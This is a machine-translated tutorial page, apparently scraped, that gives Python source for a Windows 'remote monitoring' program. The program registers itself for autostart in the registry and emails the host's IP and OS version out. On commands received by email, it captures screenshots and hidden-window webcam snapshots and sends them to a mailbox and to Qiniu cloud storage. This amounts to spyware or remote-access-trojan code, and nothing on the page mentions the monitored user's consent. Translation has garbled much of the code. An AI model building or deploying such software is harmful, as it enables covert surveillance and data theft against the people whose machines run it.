Python operation camera screenshot to achieve remote monitoring example _python

Source: Internet
Author: User

Recently used Python to write a remote monitoring program, the main features are:
1. Use Mail control so function
2. Can screen capture, screen capture sent to the mailbox
3. Can use the camera to obtain pictures, these pictures upload to seven cattle
4. Boot from boot

Copy Code code as follows:
#
#coding by Loster
#
Import Win32API
Import Win32con
Import Platform
Import socket
Import time
Import OS
Import Smtplib
Import Poplib
From videocapture import Device
From Email.mime.multipart import Mimemultipart
From Email.mime.text import Mimetext
From Email.mime.image import Mimeimage
Import Poplib,email
From Email.header import Decode_header
From PIL import Imagegrab
Import qiniu.conf
Import Qiniu.io
Import qiniu.rs
#去七牛申请
Qiniu.conf.ACCESS_KEY = ""
Qiniu.conf.SECRET_KEY = ""

#获取ip
def getip ():
Ip=socket.gethostbyname (Socket.gethostname ())
return IP

#获取操作系统版本,
Def getsystemversion ():
Return Platform.platform ()

def send_information (ip,system_version):
info= ' IP: ' +ip+ ' + ' system version: ' +system_version
Print Info
Smtp=smtplib. SMTP ()
Smtp.connect (' smtp.sina.com ')
Smtp.login (' sender@sina.com ', ' * * * ') #改成自己的邮箱和密码
Smtp.sendmail (' sender@sina.com ', ' reveicer@qq.com ', ip+ ' +system_version) #把接收邮箱改成自己另外一个邮箱
#截图, picture name is screenshot time
Def screen_capture ():
#获取截图时间
Pic_time=time.strftime ('%y%m%d%h%m%s ', Time.localtime (Time.time ()))
#pic_name = ' screen_capture ' +time.strftime ('%y%m%d%h%m%s ', Time.localtime (Time.time ())
Pic_name= ' screen ' +pic_time+ '. jpg '
pic = Imagegrab.grab ()
Pic.save ('%s '% pic_name)
Print Pic_name
#发送图片
Send_img (Pic_time,pic_name)
Print Pic_name
Os.remove (Pic_name) #删除图片

#发送截图图片到邮箱
def send_img (pic_time,pic_name):
Msgroot = Mimemultipart (' related ')
msgroot[' Subject '] = Pic_time

Msgtext = Mimetext (' <b>capture</b> <br> ', ' html ', ' Utf-8 ')
Msgroot.attach (Msgtext)

#fp = open (' f:\\1.jpg ', ' RB ')
fp = open (Pic_name, ' RB ')
Msgimage = Mimeimage (Fp.read ())
Fp.close ()

Msgimage.add_header (' Content-id ', ' <image1> ')
Msgroot.attach (Msgimage)

SMTP = Smtplib. SMTP ()
Smtp.connect (' smtp.sina.com ', ' 25 ')
Smtp.login ("sender@sina.com", "* * *")
Smtp.sendmail ("sender@sina.com", "receiver@qq.com", Msgroot.as_string ())
Smtp.quit ()
print ' Send Success '

#摄像头截图, intercept every sleep_time second.
Def camera_capture ():
#抓取频率
Sleep_time=3
I=0
Cam=device (devnum=0, showvideowindow=0)
While i<10:

Cam_time=time.strftime ('%y%m%d%h%m%s ', Time.localtime (Time.time ()))
Cam_name= ' camera ' +cam_time+ '. jpg '

Cam.savesnapshot (cam_name,3,1, ' bl ')
Camera_upload (Cam_name)
Print str (i) +cam_name
Os.remove (Cam_name)
Time.sleep (Sleep_time)
I+=1
#上传到七牛
def camera_upload (file):
Policy = qiniu.rs.PutPolicy (' iloster ') #空间名, Iloster is my space name
Uptoken = Policy.token ()

    ret, err = Qiniu.io.put_file (Uptoken, None, file)
    If err is not None:
&nbs p;       sys.stderr.write (' ERROR:%s '% err)

#获取最新邮件
def accept_mail ():
    Pop=poplib. Pop3_ssl (' pop.qq.com ')
    pop.user (' receiver@qq.com ')
    pop.pass_ (' * * * *
    #获取邮件数目
    (num,totalsize) =pop.stat ()
    #获取最新的邮件
    (heard,msg,octets) =pop.retr (num)
    mail=email.message_from_string ("\ n ". Join (msg))
    Subject=email. Header.decode_header (mail[' subject ']) [0][0] #标题
    pop.quit ()
    return Subject

#获得程序的路径
def getpath ():
    path=os.getcwd () + ' \remote.exe '   # The last packaged EXE program name must be Remote.exe, or change this to
    print path
    return path
#添加开机自启动. Register
def add_start (path) in the registry:
    subkey= ' SOFTWARE\Microsoft\Windows\CurrentVersion\Run '
    Key=win32api. RegOpenKey (Win32con. Hkey_local_machine,subkey,0,win32con. key_all_access)
    #print Win32API. RegQueryValueEx (key, ' Python ')

Win32API. RegSetValueEx (key, ' Python ', 0,win32con. Reg_sz,path)
Print Win32API. RegQueryValueEx (key, ' Python ')
If __name__== ' __main__ ':
Add_start (GetPath ()) #添加开机自启动
Send_information (GetIP (), getsystemversion ())
While 1: #不断的监听
If accept_mail () = = ' Screen ': #当获取的邮件主题为screen时, intercepting on-screen information
Screen_capture ()
Elif Accept_mail () = = ' Camera ':
Camera_capture ()

Note:
1. My email address is Sina mailbox, receive mailbox is QQ mailbox, do this because micro-letter can bind QQ mailbox.
2.accept_mail () Listening to the mailbox is their own mailbox, is my QQ mailbox
3. When you listen to screen, start screenshots and send to the mailbox, because listening to the latest mail, when the picture is sent with a mailbox, Get the message theme is not screen, should stop the screenshot, the last will only intercept a picture, continue to maintain listening status. But actually because of the network reason, there is a delay in sending the message, so the actual captured picture will have a lot of
4. When the monitor hears camera, will use the camera screenshot, if the while i<10, changes to I=1, will let the camera to keep the screenshot, and makes other command invalid, so I I <10, is every time you get a command, take a screenshot of 10

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.